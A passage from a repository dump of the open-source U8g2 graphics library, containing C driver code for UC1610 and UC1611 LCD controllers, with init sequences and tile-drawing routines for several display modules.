 D6  Pix3\n  D7    \n  D0  Pix4\n  D1\n  D2  Pix5\n  D3\n  D4  Pix6\n  D5\n  D6  Pix7\n  D7    \n\n\n*/\nstatic uint8_t *u8x8_convert_tile_for_uc1610(uint8_t *t)\n{\n  uint8_t i;\n  uint16_t r;\n  static uint8_t buf[16];\n  uint8_t *pbuf = buf;\n\n  for( i = 0; i < 8; i++ )\n  {\n    r = u8x8_upscale_byte(*t++);\n    *pbuf++ = r & 255;\n    r >>= 8;\n    *pbuf++ = r;\n  }\n  return buf;\n}\n\nuint8_t u8x8_d_uc1610_ea_dogxl160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c, page;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1610_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1610_dogxl160_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1610 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n    \n      page = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      page *= 2;\n\n      u8x8_cad_SendCmd(u8x8, 0x0f8 );\t/* window disable */\n      \n      //u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      //u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      //u8x8_cad_SendCmd(u8x8, 0x0b0 | page);\n\n      u8x8_cad_SendCmd(u8x8, 0x0f4 );\t/* window start column */\n      u8x8_cad_SendArg(u8x8, x);\n      u8x8_cad_SendCmd(u8x8, 0x0f5 );\t/* window start page */\n      u8x8_cad_SendArg(u8x8, page);\n      u8x8_cad_SendCmd(u8x8, 0x0f6 );\t/* window end column */\n      u8x8_cad_SendArg(u8x8, 159);\t\t/* end of display */\n      u8x8_cad_SendCmd(u8x8, 0x0f7 );\t/* window end page */\n      u8x8_cad_SendArg(u8x8, page+1);\n      u8x8_cad_SendCmd(u8x8, 0x0f9 );\t/* window enable */\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 16, u8x8_convert_tile_for_uc1610(ptr));\n\t  ptr += 8;\n\t  x += 8;\n\t  c--;\n\t} while( c > 0 );\n\t\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n\n    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1611.c",
    "content": "/*\n\n  u8x8_d_uc1611.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  6 Nov 2016: Not yet finished\n  \n  There are two controller:\n  UC1611s\t\t160x256\n  UC1611\t\t\t160x240\n  \n  Differences:\n  UC1611\t\t0xa8 cmd: enables 80 display rows\n  UC1611s\t0xa8 cmd: controlls graylevels\n  \n  UC1611\t\t0xc0 cmd: single byte command for LCD mapping control\n  UC1611s\t0xc0 cmd: double byte command for LCD mapping control\n  \n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_uc1611s_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a9),\t\t                /* display on, UC1611s */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611s_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a8),\t\t                /* display off, enter sleep mode, UC1611s */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611s_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0c0, 0x004),            \t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611s_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0c0, 0x002),            \t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1611_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n   \n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n    \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      u8x8_cad_SendCmd(u8x8, 0x060 | (y&15));\n      u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1611 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* EA DOGM240 */\n\n\n/*\n  UC1611 has two chip select inputs (CS0 and CS1).\n  CS0 is low active, CS1 is high active. It will depend on the display\n  module whether the display has a is low or high active chip select.\n*/\n\nstatic const u8x8_display_info_t u8x8_uc1611_240x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 10, \t/* uc1611 datasheet, page 67 */\n  /* sda_setup_time_ns = */ 10,\t\t/* uc1611 datasheet, page 64, actually 0 */\n  /* sck_pulse_width_ns = */ 60,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1611 datasheet, page 60 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1611 datasheet, page 60 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_uc1611_ea_dogm240_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_CA(0x0f1, 63),\t\t\t/* set COM end */\n  U8X8_CA(0x0f2, 0x000),\t\t/* display line start */\n  U8X8_CA(0x0f3, 63),\t\t\t/* display line end */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */\n  U8X8_CA(0x081, 0x0a4),\t\t/* set contrast, EA default: 0x0b7 */\n  \n  //U8X8_C(0x0a9),            \t\t\t/* display enable */\n\n  U8X8_C(0x0d1),            \t\t\t/* display pattern */  \n  U8X8_C(0x089),            \t\t\t/* auto increment */\n  U8X8_CA(0x0c0, 0x004),            \t/* LCD Mapping */\n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x060),\t\t                /* page adr low */\n  U8X8_C(0x070),\t\t                /* page adr high */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* UC1611s 240x64 display */\nuint8_t u8x8_d_uc1611_ea_dogm240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_240x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ea_dogm240_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n\tif ( arg_int == 0 )\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq);\n\telse\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* EA DOGXL240 */\n\nstatic const uint8_t u8x8_d_uc1611_ea_dogxl240_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_CA(0x0f1, 0x07f),\t\t\t/* set COM end */\n  U8X8_CA(0x0f2, 0x000),\t\t/* display line start */\n  U8X8_CA(0x0f3, 127),\t\t/* display line end */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */\n  U8X8_CA(0x081, 0x08f),\t\t/* set contrast */\n  \n  //U8X8_C(0x0a9),            \t\t\t/* display enable */\n\n  U8X8_C(0x0d1),            \t\t\t/* display pattern */  \n  U8X8_C(0x089),            \t\t\t/* auto increment */\n  U8X8_CA(0x0c0, 0x004),            \t/* LCD Mapping */\n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x060),\t\t                /* page adr low */\n  U8X8_C(0x070),\t\t                /* page adr high */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_uc1611_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 10, \t/* uc1611 datasheet, page 67 */\n  /* sda_setup_time_ns = */ 10,\t\t/* uc1611 datasheet, page 64, actually 0 */\n  /* sck_pulse_width_ns = */ 60,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1611 datasheet, page 60 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1611 datasheet, page 60 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\n/* UC1611s 240x128 display */\nuint8_t u8x8_d_uc1611_ea_dogxl240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_240x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ea_dogxl240_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n\tif ( arg_int == 0 )\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq);\n\telse\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* EMERGING DISPLAY, EW50850FLWP 240x160 */\n/* active high CS (CS1), UC1611 display  */\n\nstatic const uint8_t u8x8_d_uc1611_ew50850_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_CA(0x0f1, 159),\t\t\t/* set COM end */\n  U8X8_CA(0x0f2, 0),\t\t\t/* display line start */\n  U8X8_CA(0x0f3, 159),\t\t\t/* display line end */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */\n  U8X8_CA(0x081, 75),\t\t\t/* set contrast */\n  \n  //U8X8_C(0x0a9),            \t\t\t/* display enable */\n\n  U8X8_C(0x0d2),            \t\t\t/* gray level mode: 16 gray shades */  \n  U8X8_C(0x089),            \t\t\t/* auto increment */\n  U8X8_C(0x0c0),            \t\t\t/* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */\n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x060),\t\t                /* page adr low */\n  U8X8_C(0x070),\t\t                /* page adr high */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_uc1611_ew50850_display_info =\n{\n  /* chip_enable_level = */ 1,\t\t/* active high */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 10, \t/* uc1611 datasheet, page 67 */\n  /* sda_setup_time_ns = */ 10,\t\t/* uc1611 datasheet, page 64, actually 0 */\n  /* sck_pulse_width_ns = */ 60,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1611 datasheet, page 60 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1611 datasheet, page 60 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 20,\t\t/* height: 160 pixel */\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 160\n};\n\nstatic const uint8_t u8x8_d_uc1611_alt_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c0),\t\t\t\t/* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611_alt_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c6),\t\t\t\t/* LCD Mapping Bit 0: MSF, Bit 1: MX, Bit 2: MY */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on, UC1611 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1611_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a8),\t\t                /* display off, enter sleep mode, UC1611 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/* EW50850, 240x160 */\nuint8_t u8x8_d_uc1611_ew50850(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c, i, v, m0, m1, ai;\n  uint8_t *ptr;\n  /* msg not handled, then try here */\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n   \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y*=4;\n      m0 = 1;\n      m1 = 2;\n      for( i = 0; i < 4; i++ )\n      {\n        u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n        u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n    \n\tu8x8_cad_SendCmd(u8x8, 0x060 | (y&15));\n\tu8x8_cad_SendCmd(u8x8, 0x070 | (y>>4));\n      \n\tai = arg_int;\n\tdo\n\t{\n\t  c = ((u8x8_tile_t *)arg_ptr)->cnt;\n\t  c *= 8;\n\t  ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\t  while( c > 0 )\n\t  {\n\t    v = 0;\n\t    if ( *ptr & m0 )\n\t      v|= 0x0f;\n\t    if ( *ptr & m1 )\n\t      v|= 0xf0;\n\t    u8x8_cad_SendData(u8x8, 1, &v);\t/* note: SendData can not handle more than 255 bytes */\n\t    c--;\n            ptr++;\n\t  }\n\t  ai--;\n\t} while( ai > 0 );\n\t\n\tm0 <<= 2;\n\tm1 <<= 2;\n\ty++;\n      }\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_ew50850_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ew50850_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_alt_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_alt_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n  case U8X8_MSG_DISPLAY_SET_CONTRAST:\n    u8x8_cad_StartTransfer(u8x8);\n    u8x8_cad_SendCmd(u8x8, 0x081 );\n    u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1611 has range from 0 to 255 */\n    u8x8_cad_EndTransfer(u8x8);\n    break;\n#endif\n    default:\n      return 0;\t\t/* msg unknown */\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* CG160160D, http://www.cloverdisplay.com/pdf/CG160160D.pdf  */\n\n/*\n  UC1611 has two chip select inputs (CS0 and CS1).\n  CS0 is low active, CS1 is high active. It will depend on the display\n  module whether the display has a is low or high active chip select.\n\n  Connect CS1 to 3.3V and CS0 to GPIO\n*/\n\nstatic const u8x8_display_info_t u8x8_uc1611_cg160160_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t\t/* use CS0 of the UC1611 */\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 10, \t/* uc1611 datasheet, page 67 */\n  /* sda_setup_time_ns = */ 10,\t\t/* uc1611 datasheet, page 64, actually 0 */\n  /* sck_pulse_width_ns = */ 60,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1611 datasheet, page 60 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1611 datasheet, page 60 */\n  /* tile_width = */ 20,\t\t/* width of 20*8=160 pixel */\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 160\n};\n\n/*\nSystem Reset: E2H \t--> DONE\nSet Temp. Compensation: 24H --> DONE\nSet up LCD format specific parameters MX,MY,etc(double-byte command): C0H,04H  --> FLIP0\nSet line rate: A3H --> DONE\nSet Pump Control (internal Vlcd): 2FH --> DONE\nSet Isolation Clock Front (3 bytes command): 82H, 13H, 01H  --> DONE\nSet Isolation Clock Back (3 bytes command): 82H, 14H, 00H  --> DONE\nSet LCD Bias Ratio: EAH \nLCD Specific Operation Voltage Setting (double-byte command): 81H, 90H --> DONE\nSet RAM Address Control: 80H --> DOES NOT MAKE SENSE\nSet Page Addr. MSB: 72H \t\t--> DONE\nSet Page Addr. LSB : 60H \t\t--> DONE\nSet Column Addr. LSB: 00H \t\t--> DONE\nSet Column Addr.MSB: 10H \t\t--> DONE\nWindow Program Enable : F8H \t\t--> NOT REQURED\nWindow Starting Column (double-byte command): F4H , 00H --> NOT REQURED\nWindow Ending Column (double-byte command): F6H, 9FH --> NOT REQURED\nSet one bit for one pixel: D1H \t\t--> DONE\nSet Display Enable: A9H \n*/\n\nstatic const uint8_t u8x8_d_uc1611_cg160160_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0e2),\t\t\t\t/* system reset */\n  U8X8_DLY(2),\n  U8X8_C(0x024),            \t\t\t/* Temp. Compensation to 0 = -0.05%/ Grad C */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */  \n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_CAA(0x082, 0x013, 0x001), /* Isolation front clock, \"1\" is the default value */\n  U8X8_CAA(0x082, 0x014, 0x000), /* Isolation back clock, \"0\" is the default value */\n  U8X8_C(0x0ea),            \t\t\t/* bias ratio, default: 0x0ea */\n  U8X8_CA(0x081, 0x090),\t\t/* set contrast, CG160160: 0x090 */\n  \n  //U8X8_CA(0x0f1, 159),\t\t\t/* set COM end */\n  //U8X8_CA(0x0f2, 0),\t\t\t/* display line start */\n  //U8X8_CA(0x0f3, 159),\t\t\t/* display line end */\n  \n  //U8X8_C(0x0a9),            \t\t\t/* display enable */\n\n  U8X8_C(0x089),            \t\t\t/* RAM Address Control: auto increment */\n  U8X8_C(0x0d1),            \t\t\t/* display pattern */  \n  U8X8_CA(0x0c0, 0x004),            \t/* LCD Mapping */\n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x060),\t\t                /* page adr low */\n  U8X8_C(0x070),\t\t                /* page adr high */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* cg160160 display */\nuint8_t u8x8_d_uc1611_cg160160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1611_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case 